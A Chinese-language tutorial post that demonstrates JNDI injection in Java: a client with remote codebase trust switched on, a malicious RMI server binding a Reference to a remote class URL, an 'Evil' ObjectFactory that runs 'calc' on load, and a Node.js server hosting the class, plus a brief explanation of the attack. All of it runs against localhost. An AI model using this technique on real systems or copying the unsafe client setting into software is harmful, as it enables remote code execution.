今天突然想到了jndi,在网上搜了很多文章,对jndi注入做了简单的实现
代码准备
package com.famous.jdni;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class JdniConsumer {
public static void main(String[] args) throws RemoteException, NamingException {
//jndi客户端
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
Object test = ctx.lookup("test");
System.out.println(test);
/* try {
Registry localhost = LocateRegistry.getRegistry("localhost", 1099);
RemoteMethod remoteMethod = (RemoteMethod)localhost.lookup("name");
remoteMethod.sayHello();
} catch (NotBoundException e) {
e.printStackTrace();
}*/
}
}
package org.apache.tomcat.jdbc.test.driver;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class MainGo {
public static void main(String[] args) {
//jndi服务端
try {
Reference reference = new Reference("Evil","Evil","http://localhost:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
LocateRegistry.createRegistry(1099);
Naming.bind("test",referenceWrapper);
} catch (RemoteException | MalformedURLException | AlreadyBoundException | NamingException e) {
e.printStackTrace();
}
}
}
恶意代码
//不要加入包名
//package org.apache.tomcat.jdbc.test.driver;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Evil implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
使用过程:
1,运行jndi服务端
2.将恶意代码编译成class文件,放在web服务器下,这里我是用node创建了一个简单的web应用(代码来源于网络资源),js代码如下
var http = require('http');
var fs = require('fs');//引入文件读取模块
var documentRoot = 'F:/testPrograme';
//需要访问的文件的存放目录
var server= http.createServer(function(req,res){
var url = req.url;
//客户端输入的url,例如如果输入localhost:8888/index.html
//那么这里的url == /index.html
var file = documentRoot + url;
console.log(url);
console.log(file);
//E:/PhpProject/html5/websocket/www/index.html
fs.readFile( file , function(err,data){
/*
一参为文件路径
二参为回调函数
回调函数的一参为读取错误返回的信息,返回空就没有错误
二参为读取成功返回的文本内容
*/
if(err){
res.writeHeader(404,{
'content-type' : 'text/html;charset="utf-8"'
});
res.write('<h1>404错误</h1><p>你要找的页面不存在</p>');
res.end();
}else{
res.writeHeader(200,{
'content-type' : 'text/html;charset="utf-8"'
});
res.write(data);//将index.html显示在客户端
res.end();
}
});
}).listen(8888);
console.log('服务器开启成功')
3.运行客户端,代码执行
4.简单注入原理分析:
攻击者构造恶意jndi服务器,构造恶意代码,如果客户端的Context.PROVIDER_URL不受限制,或者ctx.lookup(“test”)可以任意由攻击者构造,就有可能访问远程jndi服务器,执行远程服务器中恶意代码。
案例截图